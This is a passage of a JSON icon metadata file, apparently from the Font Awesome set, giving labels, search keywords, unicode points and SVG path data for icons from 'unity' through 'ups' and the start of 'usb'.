        "path": "M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z"
      }
    },
    "free": ["brands"]
  },
  "unity": {
    "changes": ["5.12.0", "5.14.0", "6.0.0-beta3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e049",
    "label": "Unity 3D",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M243.583 91.6027L323.695 138.384C326.575 140.026 326.68 144.583 323.695 146.225L228.503 201.854C225.623 203.55 222.22 203.444 219.549 201.854L124.357 146.225C121.425 144.636 121.373 139.973 124.357 138.384L204.417 91.6027V0L0 119.417V358.252L78.3843 312.477V218.914C78.3319 215.576 82.2066 213.192 85.0865 214.993L180.279 270.622C183.159 272.318 184.782 275.338 184.782 278.464V389.669C184.834 393.007 180.959 395.391 178.079 393.589L97.9673 346.808L19.583 392.583L224 512L428.417 392.583L350.033 346.808L269.921 393.589C267.093 395.338 263.114 393.06 263.218 389.669V278.464C263.218 275.126 265.051 272.159 267.721 270.622L362.914 214.993C365.741 213.245 369.72 215.47 369.616 218.914V312.477L448 358.252V119.417L243.583 0V91.6027Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M243.583 91.6027L323.695 138.384C326.575 140.026 326.68 144.583 323.695 146.225L228.503 201.854C225.623 203.55 222.22 203.444 219.549 201.854L124.357 146.225C121.425 144.636 121.373 139.973 124.357 138.384L204.417 91.6027V0L0 119.417V358.252L78.3843 312.477V218.914C78.3319 215.576 82.2066 213.192 85.0865 214.993L180.279 270.622C183.159 272.318 184.782 275.338 184.782 278.464V389.669C184.834 393.007 180.959 395.391 178.079 393.589L97.9673 346.808L19.583 392.583L224 512L428.417 392.583L350.033 346.808L269.921 393.589C267.093 395.338 263.114 393.06 263.218 389.669V278.464C263.218 275.126 265.051 272.159 267.721 270.622L362.914 214.993C365.741 213.245 369.72 215.47 369.616 218.914V312.477L448 358.252V119.417L243.583 0V91.6027Z"
      }
    },
    "free": ["brands"]
  },
  "universal-access": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f29a"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f29a",
    "label": "Universal Access",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm161.5-86.1c-12.2-5.2-26.3 .4-31.5 12.6s.4 26.3 12.6 31.5l11.9 5.1c17.3 7.4 35.2 12.9 53.6 16.3v50.1c0 4.3-.7 8.6-2.1 12.6l-28.7 86.1c-4.2 12.6 2.6 26.2 15.2 30.4s26.2-2.6 30.4-15.2l24.4-73.2c1.3-3.8 4.8-6.4 8.8-6.4s7.6 2.6 8.8 6.4l24.4 73.2c4.2 12.6 17.8 19.4 30.4 15.2s19.4-17.8 15.2-30.4l-28.7-86.1c-1.4-4.1-2.1-8.3-2.1-12.6V235.5c18.4-3.5 36.3-8.9 53.6-16.3l11.9-5.1c12.2-5.2 17.8-19.3 12.6-31.5s-19.3-17.8-31.5-12.6L338.7 175c-26.1 11.2-54.2 17-82.7 17s-56.5-5.8-82.7-17l-11.9-5.1zM256 160a40 40 0 1 0 0-80 40 40 0 1 0 0 80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm161.5-86.1c-12.2-5.2-26.3 .4-31.5 12.6s.4 26.3 12.6 31.5l11.9 5.1c17.3 7.4 35.2 12.9 53.6 16.3v50.1c0 4.3-.7 8.6-2.1 12.6l-28.7 86.1c-4.2 12.6 2.6 26.2 15.2 30.4s26.2-2.6 30.4-15.2l24.4-73.2c1.3-3.8 4.8-6.4 8.8-6.4s7.6 2.6 8.8 6.4l24.4 73.2c4.2 12.6 17.8 19.4 30.4 15.2s19.4-17.8 15.2-30.4l-28.7-86.1c-1.4-4.1-2.1-8.3-2.1-12.6V235.5c18.4-3.5 36.3-8.9 53.6-16.3l11.9-5.1c12.2-5.2 17.8-19.3 12.6-31.5s-19.3-17.8-31.5-12.6L338.7 175c-26.1 11.2-54.2 17-82.7 17s-56.5-5.8-82.7-17l-11.9-5.1zM256 160a40 40 0 1 0 0-80 40 40 0 1 0 0 80z"
      }
    },
    "free": ["solid"]
  },
  "unlock": {
    "aliases": {
      "unicodes": {
        "composite": ["1f513"],
        "secondary": ["10f09c"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "lock",
        "open",
        "password",
        "private",
        "protect",
        "unlock",
        "unlocked"
      ]
    },
    "styles": ["solid"],
    "unicode": "f09c",
    "label": "Unlock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M144 144c0-44.2 35.8-80 80-80c31.9 0 59.4 18.6 72.3 45.7c7.6 16 26.7 22.8 42.6 15.2s22.8-26.7 15.2-42.6C331 33.7 281.5 0 224 0C144.5 0 80 64.5 80 144v48H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H144V144z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M144 144c0-44.2 35.8-80 80-80c31.9 0 59.4 18.6 72.3 45.7c7.6 16 26.7 22.8 42.6 15.2s22.8-26.7 15.2-42.6C331 33.7 281.5 0 224 0C144.5 0 80 64.5 80 144v48H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H144V144z"
      }
    },
    "free": ["solid"]
  },
  "unlock-keyhole": {
    "aliases": {
      "names": ["unlock-alt"],
      "unicodes": {
        "secondary": ["10f13e"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["admin", "lock", "password", "private", "protect"]
    },
    "styles": ["solid"],
    "unicode": "f13e",
    "label": "Unlock Keyhole",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 64c-44.2 0-80 35.8-80 80v48H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256c0-35.3 28.7-64 64-64H80V144C80 64.5 144.5 0 224 0c57.5 0 107 33.7 130.1 82.3c7.6 16 .8 35.1-15.2 42.6s-35.1 .8-42.6-15.2C283.4 82.6 255.9 64 224 64zm32 320c17.7 0 32-14.3 32-32s-14.3-32-32-32H192c-17.7 0-32 14.3-32 32s14.3 32 32 32h64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 64c-44.2 0-80 35.8-80 80v48H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256c0-35.3 28.7-64 64-64H80V144C80 64.5 144.5 0 224 0c57.5 0 107 33.7 130.1 82.3c7.6 16 .8 35.1-15.2 42.6s-35.1 .8-42.6-15.2C283.4 82.6 255.9 64 224 64zm32 320c17.7 0 32-14.3 32-32s-14.3-32-32-32H192c-17.7 0-32 14.3-32 32s14.3 32 32 32h64z"
      }
    },
    "free": ["solid"]
  },
  "unsplash": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07c",
    "label": "Unsplash",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z"
      }
    },
    "free": ["brands"]
  },
  "untappd": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f405",
    "label": "Untappd",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z"
      }
    },
    "free": ["brands"]
  },
  "up-down": {
    "aliases": {
      "names": ["arrows-alt-v"],
      "unicodes": {
        "composite": ["2195", "2b0d"],
        "secondary": ["10f338"]
      }
    },
    "changes": ["5.0.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Up Down Black Arrow",
        "arrow",
        "arrows-v",
        "expand",
        "portrait",
        "resize",
        "tall",
        "up-down arrow",
        "vertical"
      ]
    },
    "styles": ["solid"],
    "unicode": "f338",
    "label": "Up Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M145.6 7.7C141 2.8 134.7 0 128 0s-13 2.8-17.6 7.7l-104 112c-6.5 7-8.2 17.2-4.4 25.9S14.5 160 24 160H80V352H24c-9.5 0-18.2 5.7-22 14.4s-2.1 18.9 4.4 25.9l104 112c4.5 4.9 10.9 7.7 17.6 7.7s13-2.8 17.6-7.7l104-112c6.5-7 8.2-17.2 4.4-25.9s-12.5-14.4-22-14.4H176V160h56c9.5 0 18.2-5.7 22-14.4s2.1-18.9-4.4-25.9l-104-112z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M145.6 7.7C141 2.8 134.7 0 128 0s-13 2.8-17.6 7.7l-104 112c-6.5 7-8.2 17.2-4.4 25.9S14.5 160 24 160H80V352H24c-9.5 0-18.2 5.7-22 14.4s-2.1 18.9 4.4 25.9l104 112c4.5 4.9 10.9 7.7 17.6 7.7s13-2.8 17.6-7.7l104-112c6.5-7 8.2-17.2 4.4-25.9s-12.5-14.4-22-14.4H176V160h56c9.5 0 18.2-5.7 22-14.4s2.1-18.9-4.4-25.9l-104-112z"
      }
    },
    "free": ["solid"]
  },
  "up-down-left-right": {
    "aliases": {
      "names": ["arrows-alt"],
      "unicodes": {
        "secondary": ["10f0b2"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "arrows",
        "bigger",
        "enlarge",
        "expand",
        "fullscreen",
        "move",
        "position",
        "reorder",
        "resize"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0b2",
    "label": "Up Down Left Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M278.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32v96H128V192c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V288h96v96H192c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H288V288h96v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6v32H288V128h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M278.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32v96H128V192c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V288h96v96H192c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H288V288h96v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6v32H288V128h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64z"
      }
    },
    "free": ["solid"]
  },
  "up-long": {
    "aliases": {
      "names": ["long-arrow-alt-up"],
      "unicodes": {
        "secondary": ["10f30c"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["long-arrow-up", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f30c",
    "label": "Up Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M318 177.5c3.8-8.8 2-19-4.6-26l-136-144C172.9 2.7 166.6 0 160 0s-12.9 2.7-17.4 7.5l-136 144c-6.6 7-8.4 17.2-4.6 26S14.4 192 24 192H96l0 288c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32l0-288h72c9.6 0 18.2-5.7 22-14.5z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M318 177.5c3.8-8.8 2-19-4.6-26l-136-144C172.9 2.7 166.6 0 160 0s-12.9 2.7-17.4 7.5l-136 144c-6.6 7-8.4 17.2-4.6 26S14.4 192 24 192H96l0 288c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32l0-288h72c9.6 0 18.2-5.7 22-14.5z"
      }
    },
    "free": ["solid"]
  },
  "up-right-and-down-left-from-center": {
    "aliases": {
      "names": ["expand-alt"],
      "unicodes": {
        "secondary": ["10f424"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrows", "bigger", "enlarge", "fullscreen", "resize"]
    },
    "styles": ["solid"],
    "unicode": "f424",
    "label": "Up Right And Down Left From Center",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M344 0H488c13.3 0 24 10.7 24 24V168c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39-87 87c-9.4 9.4-24.6 9.4-33.9 0l-32-32c-9.4-9.4-9.4-24.6 0-33.9l87-87L327 41c-6.9-6.9-8.9-17.2-5.2-26.2S334.3 0 344 0zM168 512H24c-13.3 0-24-10.7-24-24V344c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l39 39 87-87c9.4-9.4 24.6-9.4 33.9 0l32 32c9.4 9.4 9.4 24.6 0 33.9l-87 87 39 39c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M344 0H488c13.3 0 24 10.7 24 24V168c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39-87 87c-9.4 9.4-24.6 9.4-33.9 0l-32-32c-9.4-9.4-9.4-24.6 0-33.9l87-87L327 41c-6.9-6.9-8.9-17.2-5.2-26.2S334.3 0 344 0zM168 512H24c-13.3 0-24-10.7-24-24V344c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l39 39 87-87c9.4-9.4 24.6-9.4 33.9 0l32 32c9.4 9.4 9.4 24.6 0 33.9l-87 87 39 39c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8z"
      }
    },
    "free": ["solid"]
  },
  "up-right-from-square": {
    "aliases": {
      "names": ["external-link-alt"],
      "unicodes": {
        "secondary": ["10f35d"]
      }
    },
    "changes": [
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["external-link", "new", "open", "share"]
    },
    "styles": ["solid"],
    "unicode": "f35d",
    "label": "Up Right From Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 0c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9L370.7 96 201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L416 141.3l41.4 41.4c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V32c0-17.7-14.3-32-32-32H352zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 0c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9L370.7 96 201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L416 141.3l41.4 41.4c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V32c0-17.7-14.3-32-32-32H352zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z"
      }
    },
    "free": ["solid"]
  },
  "upload": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f093"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["hard drive", "import", "publish"]
    },
    "styles": ["solid"],
    "unicode": "f093",
    "label": "Upload",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 109.3V352c0 17.7-14.3 32-32 32s-32-14.3-32-32V109.3l-73.4 73.4c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l128-128c12.5-12.5 32.8-12.5 45.3 0l128 128c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L288 109.3zM64 352H192c0 35.3 28.7 64 64 64s64-28.7 64-64H448c35.3 0 64 28.7 64 64v32c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V416c0-35.3 28.7-64 64-64zM432 456a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 109.3V352c0 17.7-14.3 32-32 32s-32-14.3-32-32V109.3l-73.4 73.4c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l128-128c12.5-12.5 32.8-12.5 45.3 0l128 128c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L288 109.3zM64 352H192c0 35.3 28.7 64 64 64s64-28.7 64-64H448c35.3 0 64 28.7 64 64v32c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V416c0-35.3 28.7-64 64-64zM432 456a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "ups": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["United Parcel Service", "package", "shipping"]
    },
    "styles": ["brands"],
    "unicode": "f7e0",
    "label": "UPS",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z"
      }
    },
    "free": ["brands"]
  },
  "usb": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f287",
    "label": "USB",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
